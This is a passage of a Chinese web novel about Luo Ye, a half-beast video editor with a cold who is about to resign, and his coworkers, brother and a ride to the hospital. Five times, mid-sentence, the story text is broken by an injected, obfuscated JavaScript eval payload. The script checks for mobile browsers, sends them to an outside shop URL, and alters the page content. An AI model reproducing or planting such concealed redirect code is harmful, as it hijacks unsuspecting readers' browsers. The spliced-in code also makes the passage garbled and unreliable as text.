“哪有空啊,”万青手搭在骆野的肩上说,“这两天我们部门在处理那个白呈的事,不放人出去谈商务了,昨天还加班到七点多,累死我了!” 骆野夹菜的手一顿,顿时疑惑。 七点多?那为什么昨天…… 万青自然地坐在兰橘旁边,打断了骆野奇怪的想法:“老骆啊,听说你要辞职了?” 骆野嚼着芹菜叶,食指往手机屏幕上一指。 万青看过去。 【1.感冒了,2.下礼拜三走,没欢送会,3.先不急找工作,出去玩为主。4.不吃零食,5.不喝咖啡,6.白巧克力可以接受,7.走之前顺便帮我把椅子放回去,谢谢】 他还没看完,骆野突然皱起眉头,低头噼里啪啦打了一行字,最后举起来。 万青看他那么急,以为是什么重要的事,赶紧凑上前查阅。 【8.急急急帮我拿点醋】 万青:“……?你有病啊。” 兰橘边吃边举手:“他现在确实有病。” 万青翻了个白眼,从隔壁桌捞来醋倒进骆野的凉拌木耳碗里。 骆野打量万青的穿着,觉得外套有点眼熟,突然想起今天早上池枝越也穿了一件类似的大衣。 他哑着嗓子问:“你们部门流行这个风格吗?怎么都穿这套。” “不是啊,这是池枝越给我们的。”万青张开双臂,得瑟地挑眉,“他是好几个品牌的会员,他们经常给他送东西,池枝越一般都不要,然后分给我们。” 骆野还没反应过来,兰橘已经握住万青的手,两眼放光地眨巴:“我现在去你们部门还能领东西吗?” 万青对他翻了个白眼。 “他既然是富二代为什么还要来上班?”骆野问。 万青胳膊被兰橘使劲晃,晃荡中不忘回答骆野:“他不是富二代啊,他说他只是有亲戚是老板,他爸上班的,他妈只是普通的教授。” 骆野:“……教授普通在哪里?” “他自己说的,我只负责转述。”万青对这个话题没多大兴趣,他盯着骆野的脸仔细打量,终于发现耳朵的违和感,“我看你耳朵都红了,感冒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206090|197343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是越来越严重了?” 骆野自我感觉只是喉咙痒,但还是下盖上帽衫,让阴影完完全全笼罩自己,哑声说:“知道越来越严重还不离我远点。” “说是这么说,但还是被我暖到了吧?”万青嘴上调侃骆野,还是听从他的指挥,稍微往兰橘这里靠了点。 兰橘贱兮兮地附和起来:“不说了,再说我们野哥要感动地掉小珍珠咯。” “这点还是能忍的。我已经很久没哭过了。”骆野说。 说起来,上次哭真是好多好多年前了。之后再苦再累他都没有哭过,只会想着“他将来得过的多好啊,才会经历这些事”。 可现在呢,刚刚都稳定下来,自己就要走了。 食堂的灯光很亮,似乎比平时都要亮一点,光照在骆野的饭菜上,热气慢慢地上升,吃进嘴里的滋味却夹杂着一点酸涩味。 可能是醋放多了吧,骆野想。 午饭结束,兰橘和万青去空中花园吹风,骆野先回部门了。 他走到自己的工位前,正准备坐下,发现了桌子正中央的感冒药。 “嗯?”骆野拿起来翻转检查,没有拆封过,像是刚刚出去买的。 他举起感冒药,问在场的同事们:“谁放的?” 大家都抬了头,但没人回他。骆野只好收回手,摩挲着上面的标识,视线落在白楠的空位上。 真相显而易见了。 骆野心里漾开点愉悦的暖意,他没想到白楠这么细心,等回来得好好夸一夸她。 他拆开一包感冒药,转身去茶水间接了杯热水。 正巧这时,白楠带着爽朗的笑声回来了,骆野探出脑袋,冲白楠招招手:“谢谢你啊。” 白楠原本开心的表情,顿时变成疑惑,指着自己问:“啊?谢我什么?” 演技还挺好的。骆野心里偷着笑,晃了晃手里的感冒药包装:“谢谢你买的感冒药啊。” 白楠连忙摆手说:“我没买感冒药啊,我刚刚去便利店买关东煮了。” 骆野这下彻底愣住了,低头盯着手里的药盒,语气轻了些:“我以为是你买的。” 白楠想了想:“可能是谁给你买了,不好意思说,反正都没拆封,趁热喝了吧。” 骆野觉得有理。别人好心送他感冒药,总不能寒了对方的心吧。 他撕开药包冲开,细长的搅拌棒在纸杯里搅动,深褐的药液旋出一圈漩涡。 池枝越放下搅拌棒,后背轻抵着冰冷的墙壁,目光越过几排工位,落向落地窗之外。 天空是一片寡淡的素白,没半分云影。对面写字楼映着些模糊晃动的人影,淡得像纸剪的。 平时这个点,池枝越要么出去吃饭,要么在包厢里开小会,今天他心情不错,来茶水间喝点咖啡。 他端起杯子,凑到唇边吹了吹袅袅的热气,就听见同事万青的声音:“喝药呢?” 池枝越指尖微顿,抬了抬杯沿,礼貌地微笑道:“这是咖啡,我没感冒。” “哦哦,”万青瞬间红了耳根,尴尬地挠了挠头,“我是上午看你位子上有盒感冒药……” “那是给别人的。”池枝越淡淡应声,抿了一口咖啡。 万青尴尬地搓着手,悄悄打量池枝越。他并不了解池枝越这个人,或者说他们部门没有一个人了解他的。 池枝越确实有问必答,语气端庄又礼貌,可总是有一种淡凉的距离。平时叫他吃去玩也不去,路上遇到想顺路载他,他也会拒绝。 自己作为前辈,怎么可以就此胆怯?! 莫名其妙燃起来的万青深吸一口气,提醒池枝越:“不过最近流感严重,你还是得注意点,楼下骆野就中招了。” “我知道。”池枝越淡淡接话。 万青有点惊讶:“他告诉你了?” “今天遇到他了。”池枝越露出温和的笑容。 万青自认和骆野相识多年,早对高颜值的人免疫了,可池枝越一笑,他还是会有一瞬间晃神: 靠,和你们这群数值怪拼了。 这时,旁边的小赵说:“是不是那个你上次说骑摩托车来的那个帅哥?我今天看见那辆摩托车了,老帅了。” 我去。光顾着看脸了,差点忘了还有个人。 万青尴尬地转头,和小赵聊起来:“趁现在多看一会儿吧,过几天你想看也看不到了。” 小赵疑惑地歪头:“怎么了?” 万青耸肩说:“他要辞职了呀。” “哐当——” 清脆的陶瓷撞击声骤然响起,打断了他们的对话。 他们齐刷刷回头,只见咖啡杯翻倒在光洁的茶几上,深褐色的液体顺着桌沿蜿蜒而下。 池枝越虚握着手腕,手背泛着显眼的红,眉峰微蹙,脸色有点阴沉。 不过几秒,又变回平时的淡然表情,扶起水杯说:“不好意思,没拿稳。” 4. 明日骤雨 感冒药可能真有点用。 骆野真心感谢这位好心人,喝了以后好多了,没被头盔闷死。 绿灯刚过,骆野在斑马线前停稳车,推上头盔的挡风板,冷风中舒了口气,目光扫过“547”这个数字。 它的背景是整片天空,橙红晚霞被骤起的云层遮去大半,浅浅染红了半边的北城。 北城的居民楼与南城的高楼大厦不同,夹杂着90年代的滋味,挨挨挤挤立在咸凉的风里,墙皮褪成浅灰,窗沿结着薄霜。 十字路口的美食街和骆野从前住的地方天差地别,很干净卫生,所以他经常带骆芃闲逛。 骆野今天没多逗留,在路口买了串草莓糖葫芦,随手挂在后视镜下,一路晃悠着回家。 他打开家门时,骆芃站在玄关口。眉头蹙在一起,双手紧紧攥写校服衣角:“哥哥……” 骆野摘下口罩,从包里捞出冰糖葫芦,笑眯眯地逗他:“你看我给你买了什么好吃的?不生气了吧?” “没生过气,”骆芃拉着骆野的胳膊,仔细打量一遍,“你现在还难受吗?你早上就吃了一点点。” “就是小感冒。”骆野揉了揉骆芃的头发,换下鞋子。 骆芃这才接过糖葫芦,像小鸡仔似的跟在他后面。 骆野坐椅子上喝水,骆芃耷拉着飞机耳站在那里,欲言又止。 骆野放下杯子,嗅了嗅空气,十分夸张地说:“哇芃芃你今天烧了什么菜?闻起来好香——” 每当他讲骆芃厨艺,骆芃的耳朵就会像现在这样慢慢竖起来,精神顿时好了:“清蒸鲈鱼,清汤面结,番茄豆腐汤马上就好了。” 说完糖葫芦放在盘子上,去厨房干活了。 骆野撑不住疲倦地趴在桌上,晃了晃猫耳朵。不知不觉间,记忆里小小只的弟弟,现在都和橱柜一样高了。 再长下去不会成为双开门大冰箱吧? 骆野脑里瞬间闪过早上的大冰箱,之前太震惊了没注意,现在想起胸肌的质感了。 骆野有点嫉妒:“啧,怎么练的?” 于是当骆芃端菜出来,就看见桌前趴着的亲哥佝偻身子,散下的头发遮住半张脸,念念有词地按压腹部。 骆芃以为他肚子疼,赶紧走过去:“哥!你……” 结果听见骆野说:“悬垂举腿四组十五次,抬腿卷腹、触脚卷腹各四组十八次、十五次,反向卷腹四组十五次,再配四组六十秒平板支撑,做到年底应该可以再加一块腹肌。” 骆芃:“……” 某种程度上他哥也是神人一枚。 骆野迷茫地抬头:“芃芃你说什么?” 骆芃放下盘子:“我说,我准备给菜里加点蛋白粉。” 骆野:“?” 等饭菜摆起齐,他们俩面对面坐着,骆野边吃边问:“学校怎么样啊?” “就那样。”骆芃夹起一块鱼肉,放进骆野的碗里。 “现在有朋友了吧?”骆野问。 “同桌很熟。”骆芃说。 同桌很熟? 骆野筷子一顿,不敢置信地看着低头逃避眼神的骆芃:“都转过去三个月了,还只认识同桌?” “本来在学校时间就少,没朋友也可以过。”骆芃淡定地吃饭。 骆野不是很淡定。 骆芃跟他上学那会儿一样,向学校报了早退申请,每天三点多能回家。 但他当时早走,也不影响在学校里交朋友,骆芃是不管去哪所学校,最后得到的朋友数永远是“0”。 以前小哑巴在,骆芃看着还好;小哑巴离开后,骆芃的社交问题暴露无遗。 骆野每次去家长会,老师都会在“学习放心”后面跟一句“就是交友方面有点问题”。 再问题下去都要从“问题儿童”成为“问题大学生”了。 吃完饭,骆野看着打扫卫生的骆芃,不死心地提醒:“芃芃,你真的要好好交朋友了,不然将来连交心的人都没有。” “不是有你吗。”骆芃擦着桌子说。 我要是不在了呢?骆野差点说出口,手指拽着卫衣抽绳,话题改了一个方向:“那你怎么谈恋爱。” 骆芃收起抹布,把泡好的感冒药水放在桌上,平静地反问:“我为什么要谈恋爱?” 骆野被问愣了,捧起杯子:“年轻时不谈等你老了再谈啊?” 骆芃有点嫌弃地皱眉:“学生就应该好好读书,别想东想西的。” 被未成年教育别早恋的骆野:“?” 到底谁是谁家长? “肯定是你啊,他现在去医院还得挂儿科。”手机通话的兰橘说。 “他就是个小老头。”骆野坐在电脑椅上扶额,“你说他像谁啊?总不能像我吧?” “确实不像你。”兰橘在那头边写文章边回答,“他上大学会有人谈,你上大学没人敢跟你谈。” 骆野:“……不至于吧,我就是单纯没空。” 兰橘慢慢悠悠地说:“大二的时候拍摄影作业,那个学姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206091|197343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每次见你都穿特别漂亮,结果你说人家挡住你打鸟了。聚会的时候她特地找你,想和你一起走回去,结果你说你要去男厕所。还有个姑娘找你打游戏,结果你二十五杠七给她打破防删游戏了。” 兰橘说完,过了十几秒,骆野恍然大悟:“哦——她们是对我有意思啊?” 兰橘:“……你才发现?” 骆野不好意思地挠挠后脑勺:“我一直以为她们想拜我为师。” 兰橘:“……” 沉默一分钟,兰橘语重心长地叹了口气:“听我一句劝。别给芃芃做感情指导了,你眼力见好不到哪里去。” 骆野咳嗽两声,“头有点晕,挂了。” 兰橘哈哈大笑,整个房间都是他的笑声,好一会儿才停下了:“不说你的瓜了,说个我们公司的瓜,我发给你了。” 骆野下一秒收到兰橘发来的链接,标题是:【塌房艺人白呈在DFG大楼拍摄期间骚扰节目的工作人员,被正义制裁】 那是一篇洋洋洒洒一大页的,还有几张事故责任认定书。 其中点赞最多的概括写着: 【就是博主朋友在那里工作,两个月前发生的事,白呈好像想把一姑娘拉小黑屋那个啥,当时有人出手阻止,白不服还跟那个人动手了,结果没打过,门牙掉了两颗,现在的牙都是瓷的。之前有人说拍他笑的时候,嘴巴特别奇怪,这就是原因。当时白的工作室出钱出力压下来了,公司内部都不知道,只有那天在场的知道,现在博主朋友终于能说了。】 这可真是——普天同庆,大快人心! 骆野之前发的那条评论,点赞数不知不觉破了两千,还有很多跟楼截图说嘴替的,可见大家对这位的态度都不大好。 骆野对这位“见义勇为”的人有着极大兴趣。 他一路下划,滑到底也没有人说出手的那个人英雄好汉是哪个部门的。 骆野左手撑着下巴,若有所思:“你知道是谁出手的吗?” 兰橘:“啊?不是你干的?” 骆野:“……是我我还会问你吗?” “那我也不知道啊,我一直以为是你。”兰橘耸耸肩,他也在找线索,但没有找到。 骆野分析起来,想起一个人就敲一下电脑桌。 “能打的过白呈那个体型的,应该挺大个的,我们公司就那几个保安叔,还有三楼俱乐部那几个,还有……” 骆野的手停在空中,有点不确定地敲下。 “……池枝越?” 5. 明日骤雨 但两人很快就否决了这个想法,因为池枝越性格实在太稳定了。 兰橘不得不提到,有一次实习生做错事,把品牌方的广告词放错时间点,其他人都准备骂人了,池枝越却直接拦住他们,先想出来解决办法,全程指挥实习生补救。 等这部分过去后,池枝越才把实习生叫到旁边简单提了两句,全程没有半点恼怒的样子。 骆野觉得这人能被拉去演一段京圈佛子。 两人猜了半天,兰橘又问了一遍骆野:“真不是你吗?” “真不是,”骆野无语笑了,“橘哥,我在你心里到底是什么人啊。” 兰橘:“一拳抡掉他两颗牙并且让他跪着喊你太上皇的那种人。” 骆野:“你有病啊。” 不过这么一想,骆野虽然经常被人说像混混,但大学那几年除了骂几句外,真没看见他动过手。 兰橘是真好奇了:“说真的,你真没打过架吗?” 骆野稍微思索一下,回答:“打牲口算吗?” 兰橘愣了:“你家还养猪呢?” 骆野:“我爸。” 从初三开始,只要骆正伟在家,他们就免不了一架,打着打着,骆野的身体素质都好了不少,越打越有劲。直到某天,他彻底赢了骆正伟,他当即带着骆芃头也不回地跑了。 跑到现在,至今没回去看过。 兰橘知道他们家的一些事,对这个爹也没什么好脸色,听见骆野这么形容,还觉得挺贴切的,拍桌子笑了起来。 “哈哈哈哈,这也不对啊~你爹只能算半个牲口,所以你还是没打过人。” “看你乐得。” 骆野在笑声里看了眼微博小号,除了日渐增加的点赞,私信依旧无人问津,心顿时沉了一点。 连同着喉咙瘙痒,咳了几下。 兰橘本来准备挂了,听见声又转过来担心:“你都这样了,明天还来上班吗?” “真没事,单纯喉咙痛,”骆野摸上自己的额头,不大热,“明天下午去医院配点药,能赚半天的钱也是赚。” 兰橘不放心也只能走了:“好吧,那你注意点身子,我去写稿子了。” 挂了电话,卧室没宁静多久,手机又“叮咚”一声,推送了条恰逢适宜的广告。 【您关注的:野草乐队官方发布新公告】 野草乐队是骆野从初中就喜欢的乐队。 他的遗愿清单第五条就是在死前看一次专场演出,正好今年12月29日有一场,骆野已经订好抢票时间了,就等开团。 不知道这么晚发消息,是加场还是加签售时间? 骆野笑嘻嘻地点开公告。 然后,嘴角僵住了。 官方号白纸黑字,大写加粗地写着: 【很抱歉,因主办方修整原因,原计划12月29日专场推迟至1月3日,售票时间保持不变,依旧为12月11日。】 “……”骆野盯着那行字,看了一遍又一遍,悬着的心终于死透了。 他整个人“啪”地扑在床上,脸埋进枕头,拳头闷闷砸了两下棉垫。 尾巴烦躁地甩了好一阵,最后蔫蔫地垂落在大腿边。 烦死了。没一件顺心的。 生病、没找到人和没得看演出,还有要死了,四种情绪加在一起,骆野感觉自己脑袋嗡嗡的。 第二天他强撑着打起精神,但还是被骆芃发现情绪不对劲,念念了他十多分钟。 “要是不舒服的话……”骆芃还要念叨,骆野实在忍不住了,捏住骆芃的脸颊,往旁边拉长。 骆芃瞪大眼睛看他:“惹干嘛……” 骆野揉捏了好一会儿才松手,说:“你要是和同学们说这么多话,早交到朋友了。” 骆芃不说话了,围巾挡着红印的脸,走之前面对骆野打了个结印一样的手语。 骆野当然看得懂,但他耍赖皮当没看见,哼着歌换衣服去了。 他今天穿的比较简单,黑色羽绒服里是灰色卫衣,裤子也是偏深灰色的拖地运动裤,顺手拿了顶灰色针织帽套头上。 下午要去医院,他就没骑摩托车,戴上蓝牙耳机,沿着街慢慢往地铁站走。 刚巧这天格外得冷,路面坑洼的水似乎有意结成冰。 水面倒影着悄无声息的倒计时,花店里那些花也都摆到了室内,只剩下挂满浆果的北美冬青。 花店老板搬东西时看见了骆野,热情地跟他打招呼。平时老板都会叫他去店里坐会儿,今天看他要上班,就送了他两个暖宝宝。 骆野感谢着接过,裹紧身上的羽绒服,缩着脖子快步扎进了地铁站。 骆野来到工位,往椅子上一瘫,胳膊肘支在桌上,阖了会儿眼,猫耳跟着同事们的聊天声一晃又一晃。 躺了几分钟,热空调散了他们的寒意,骆野起身干活。 一直忙到十点半,他去茶水间接水,同事小赵偷偷凑过来:“野哥,你是不是心情不好啊?” 骆野很惊讶,他今天全程带着口罩,除了交接之外,没怎么和别人交流啊:“你怎么看出来的?” 小赵:“你今天没骂我。” 骆野:“……你是m吗?” 路过的白楠嫌弃地捏着鼻子:“我去,这里有变态啊。” 小赵看了白楠一眼,不屑地搓了下巴:“我变态能有白呈变态啊,上手骚扰我们公司的人。” 白呈的事今早在他们小群里传疯了,有在找那个兄弟,准备给他发锦旗的;也有像小赵这样玩梗的。 更有一些玄学的猜测,说那天其实没有人,是白呈被鬼上身了,自己打了自己。 这段还是兰橘吃中饭时当笑话跟骆野分享的。 骆野听完笑了好半天,饭都没吃几口:“你哪看来这么离谱的东西啊?” 兰橘风卷残云般扒完一碗大米饭,鼓着圆圆的腮帮子说:“既然都不知道是谁,大家就开始编野史了吧。” 骆野:“……这有点太野了吧。” “这才到哪,我们部门那几个编剧编的更野,我都不好跟你说,”兰橘擦了擦嘴巴,打了个饱嗝,“对了,你待会怎么去医院啊?我帮你叫车?” “不用,我刚刚遇到万青了,他说顺路带我过去。”骆野往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206092|197343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅背上一靠,双手抱胸,看着兰橘油光锃亮的空盘子,忍不住感叹:“橘哥,你真是全公司最尊重食堂的人。” 兰橘抬起头,一脸无辜地眨眨眼:“真的很好吃啊。” 骆野看着自己盘里的葡萄炒西兰花:“……只有你觉得好吃吧。” “人生不就是得多尝试新事物吗?”兰橘顺手拨开橘子,“你几点走啊?” 骆野看了眼手机时间:“一点半。” 冬天一点半的阳光淡得像一层薄纱,远处楼群切割出了干净的蓝天。 骆野戴着口罩,站在公司后门门口,戴着单边耳机,沉默地观望这片天空。 不少员工从这里出去,经过骆野身边时,如果是认识的人,还会和他聊几句。 倒计时走了两分多钟,人力资源部的方姐拎着挎包,踩着小皮鞋走过来,笑着打招呼:“小骆啊,这么早就下班啦?” “没,去医院呢。”骆野眉眼微微弯,隔着口罩声音发闷,“方姐眼神真好,我都遮成这样了你还能认出是我啊。” “我们公司这么好的身板,除了你还有谁,而你脸上有个痣,更好认了。”方姐搓着冻得通红的手,朝手心猛哈一口白气,“你在打车啊?” “我在等万青,”骆野说,“你呢?” “我等我老公呢,家里出了点事。”方姐说。 “哦对了,那个宣传……” 骆野刚想问宣传栏换照片的事,平稳的引擎声由远及近,一辆陌生的黑色奔驰停在他们面前。 骆野下意识以为是方姐的老公来了,后退了一步,心想:不愧是主管级别的,车都那么阔气。 结果一转头,方姐也往后退了一步。 骆野:“啊?” 方姐:“嗯?” 两人面面相觑间,车窗徐徐降下。 池枝越优越的侧脸落入视线,他穿着昨天那件外套,一只手随意搭在方向盘上,浅笑着打招呼:“方姐,真巧啊。” 方姐看清人,立马迈着小碎步凑过去,语气亲切地说:“原来是你啊,你也来等人?” 池枝越垂下好看的眼睛,轻轻嗯了一声。 骆野对两人的聊天内容不感兴趣,一直张望后面的车,没注意视线落在了他身上。 直到他听见池枝越叫了声:“骆野。” 他才猛地转头,正好对上池枝越的目光。对方指尖轻点着方向盘,低低笑了一声:“是不是没看手机?” “啊?……啊。”骆野顿时意识到了什么,掏出手机。 万青果然发来两条消息,时间正好是刚刚他和方姐聊天的时候。 第一条:不好意思啊,突然来了点事 第二条:不过别担心,路上遇到了池枝越,他说他正好往那边顺路,他带你过去,记得和他说声谢谢啊。这小池人就是好。【吐舌头卖萌表情】 骆野:“……”这时候卖什么萌啊? 他再次抬眼,方姐正背对着他,跟池枝越轻声说着什么。 池枝越靠着椅背,姿态松弛得很。那双眼睛弯着,静静与他对视,声音慢悠悠的:“上车吧。” 6. 明日骤雨 两人和方姐道别,车子开出公司。 池枝越的车子意料之外很干净,安全隐患全都规避了,挡风玻璃前清清爽爽一片,车内散发着很清新的气味,没有一丝廉价香水味。 骆野打网约车都打不到这么标准的车。 要不是前置柜子里有一些日常小工具,他都以为是池枝越刚提的车。 车载音响放着悠扬的钢琴曲。不知道为什么,骆野头晕好了很多,顺手给万青发了消息。 【骆野】:上车了 【万青】:ok,回来要我接吗? 【骆野】:我看完就直接回去了 【万青】:ok 骆野发完,百无聊赖地扣弄衣角,瞥了眼专心开车的池枝越。 认真时的池枝越,嘴角没有带着微扬的笑容,眉毛微蹙,看着还是有点气场的。骆野目光往下落,注意到手背上一片红,下意识问:“你的手怎么了?” 池枝越倒是立马回答了,语调比较平静:“被咖啡烫到了。” “啊?”骆野紧接着问,“拿水冲了吗?” “冲过了,”池枝越低低笑了一声,“你在担心我,还是在好奇?” 骆野觉得这问题就多余,换作门口的保安大叔烫了这么大块疤,他也会问一句怎么弄的。 他不知道怎么回答,就说:“都有吧。” “没想到你会愿意坐车,”池枝越瞥了他一眼,“我以为你会不搭理我。” 骆野还以为自己听错了,脖子像发条玩偶一样缓缓扭过去,瞪大眼睛看他。 ……不是哥们?到底是谁不理谁啊? 怎么还有人恶人先告状的? 池枝越显然没注意他的视线,骆野怕自己真这么怼过去,扯开话题:“你们这些天挺忙的。” “跟你们比算在神游了。”池枝越说。 “万青说你们加班到七八点。” “我们也就这两天,你们已经加班十多次了吧。” “……” 一对比,他们部门怎么那么惨。 骆野有点破防了,把外套拉链拉到底,死死锁住脖子:“不聊了,再聊我要跳车了。” “哈哈哈。”池枝越轻快地笑起来,“我不是故意的。” 声音很轻,听得骆野耳朵发痒。他有种奇特的感觉,在几个月前完全不敢想他们能这么聊天。 骆野对池枝越这个人没什么意见,如果能在他走之前关系缓和,也算善语结善缘,是件好事。 车里暖气吹得有些闷,骆野调低了一点,整个人陷进柔软的皮座,撑着手肘,懒洋洋的撑着额边。 望着窗外飞速倒退的景色,他小声嘀咕了一句:“等好了,我请你喝奶茶。” 他故意说的不大,但足够上对方听见。 对方也确实听见了,回答了一声:“好。” 幸好不是高峰期,一路车流顺畅。路边尾灯连成细碎的红,倒计时一分一秒地减少,映在骆野眼底,浅绿的眸子稍微暗沉了一些。 车子在红灯前停下,池枝越喝完矿泉水,忽然开口:“你要辞职了?” 骆野一愣,想着消息传的也太快了吧,都传到池枝越这里了。 “准备去哪家公司?”池枝越转向他。 骆野帽子往上拉了拉,垂眸回答:“还不知道,先歇一阵子。” 刚巧音乐跳了,熟悉的伴奏响起,先是乐队的吉他导入,再是一贯野草乐队的演唱风格。 骆野瞬间来了兴致,凑前一点看屏幕上的音乐名:“你也听他们的歌?” 池枝越看了一眼,说:“比较有缘。” “什么意思?”骆野抬眼看着他。 “某天突然搜到的。”池枝越说。 “那的确算得上缘分。”骆野满足地点头,“我也是主页推送推到的。” 池枝越手指点了点方向盘,问道:“你很喜欢他们?” “我从初中就是粉丝。”骆野一说起这个就来劲,帽子里的耳朵已经忍不住晃了起来。 “他们不温不火,平常问别人别人也不知道,但我觉得很好听,剪辑的时候也会带点他们的歌。” 如果此刻能露出尾巴,骆野的尾巴一定敲的很高,形成一个倒勾。 冷圈的人就是这么容易满足。骆野不说了,说多了也是辛酸泪。 “他们下个月好像要开专场。”池枝越又说。 骆野惊讶道:“这你都知道?你也是粉丝?” “算是吧。”池枝越点了下屏幕,歌单里收录了二十几首野草乐队的歌。 骆野愣住,吸了吸鼻子。 什么啊……这个人品味还挺好的。 骆野这人有个特点,他对同好的耐心度很高,哪怕对方是蠢货,他都会觉得是善良的蠢货。更何况池枝越一点也不蠢,要比那些人更聪明。 所以骆野视线挪向窗外,嘴里却袒露了一些真情实感:“可惜改时间后我去不了了,有机会再去。” “你现在清闲,随便什么时候都能去。” 池枝越说完正好变绿灯,骆野也就没说出那句“这可能是最后一次”的宣言了。 再开了十几分钟,他们抵达市二院的马路对面。周五人比较多,出租车大排长龙,车子以龟速往前直行。 骆野怕待久了传染给池枝越,解开安全带就要走。 “你等等。”池枝越叫住了他,身子往骆野这边倾。 下一秒,骆野手里多了包消毒纸巾。 骆野口罩下的嘴角抽了一下,不知道该惊讶还是受宠若惊:“谢……谢谢?” “不用谢的,”池枝越收回手,语气平静,“上次那把伞我还没有还你。” “上次?啊……”骆野攥着纸巾,想起来了。 他们俩在一个月前的下雨天见过面,当时池枝越站在大门口,没带伞,骆野就把备用伞给他了。 后来上班事太多,一来二去就忘了。 “不用了,”骆野利落地拉开车门,“送给你吧。”反正以后也用不着了。 池枝越没再说什么,冲他点头,扬起淡淡的笑容:“下礼拜见。” 骆野嗯了一声。奔驰车转进主路,融进了川流的车海中,他转身走进从医院。 然后在医院呆了近两个小时。 不是他的病多重,主要是等号的时间长。每家医院的半兽人科占全院的二十分之一,很紧张。骆野来的时候,前面有十二位半兽人在等位。 骆野坐在那里,感觉刚好的脑袋又开始发晕,闭着眼睛休息了一会儿,终于等到了他的号。 医生说他有点低烧,但用不着打针,配了两副药还有抑制剂。 “再一个,你发情期快来了,所以免疫力比较低,容易生病。” 医生啪嗒啪嗒打字,瞥了骆野一眼。 骆野已经把帽子摘了,露出健康又漂亮的豹猫耳朵。半兽人的体质是否好,就是看耳朵和尾巴的。 骆野的毛发顺滑,热空调一吹,耳朵跟着抖落,看着就灵巧。 医生遇到这么标志的兽耳,满意地点头:“真不错,你可以戴上帽子了。” 骆野重新理了下头发,收回耳朵戴上帽子,听医生说:“你的体质挺好的,所以痛感不是特别明显,像其他人又是感冒又是要发情期,早就热晕过去了。” 骆野点了点头:“我每次来发情期之前都没什么感觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206093|197343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “看来你平时吃的比较好,营养均衡。” “平时都是我弟弟做饭。” “那你弟弟可以考虑当营养师了,”医生等单子出来,递到骆野手里,“发情期来的时候每天吃两颗就行了,千万别和感冒药一起吃,不过优先推荐和你的配偶度过。” 他配偶还不知道在哪个犄角旮旯里呢。 骆野心里嘟囔,拿着单子站起来,“谢谢医生。” 骆野从医院里出来时,先吃了两颗药,到家的时候天还没到三点,他就下楼买了骆芃喜欢吃的海苔饼干,放在了他回来一眼就能看见的地方。 拎着蔬菜的骆芃回来看到这个,平静的脸上终于有点笑容了:“哥你打车去的?” “前面是同事带我过去的,回来是自己回来的。”骆野说。 骆芃点点头,穿上围裙去做晚饭了。今天是一顿偏清淡的“病号餐”,骆野顺便把医生夸的话转述给骆芃。 骆芃没什么反应,但尾巴勾了起来,骆野觉得弟弟这反应真可爱,尾巴也跟着成了问号。 晚饭后骆野吃了药,倒头就睡,睡到晚上十点。 这一觉带走了他的头晕眼花,身子轻盈了不少,爬起来给自己下了碗青菜肉丝面,边看自己参与剪辑的《白浪屿》。 “伴随着欢快的音乐,本期节目到此结束啦。” 身穿浅蓝色长裙的主持人手握台本,对着镜头微笑着挥手:“我是主持人妙妙,我们下期再见!” 无数的彩带如同下了一场白雪,落在舞台,主持人抬起手,开心地迎接这些彩带。 下一秒,画面右侧出现一条黑色的竖线,各类节目赞助商播送完后,工作人员列表缓缓进入屏幕。 在播到“后期剪辑”时,弹幕突然变多了起来。 【A组出品,正常水平】 【今天这期爆好看啊家人们!!】 【果然是A组,我看见轻轻两个字了】 【熟悉的剪辑啊啊节目组终于做人了!】 骆野嗦完最后一根面,淡淡地给其中几条点了赞。 弹幕所说的A组,指的是骆野所在的A组;他们说的“轻轻”,就是骆野本人。 刚入职的时候,上级让他们准备放名单表地名字,可以用网名,比如周末天就用了“周大娘”这个名字。 骆野想不出名字,就用了自己的小名。 两个月前,台长脑子一热,把A组做起来的节目硬生生丢给外包,结果那几期的收视大跳水。全网都在骂,说一期比一期尬。 大会上,领导脸都挂不住,尴尬地拍板让A组重新接手,这几期口碑才一点点拉了回来。 骆野公正公平,遇到评论区夸自己组的,都点了赞,遇到说不好的就点了踩。 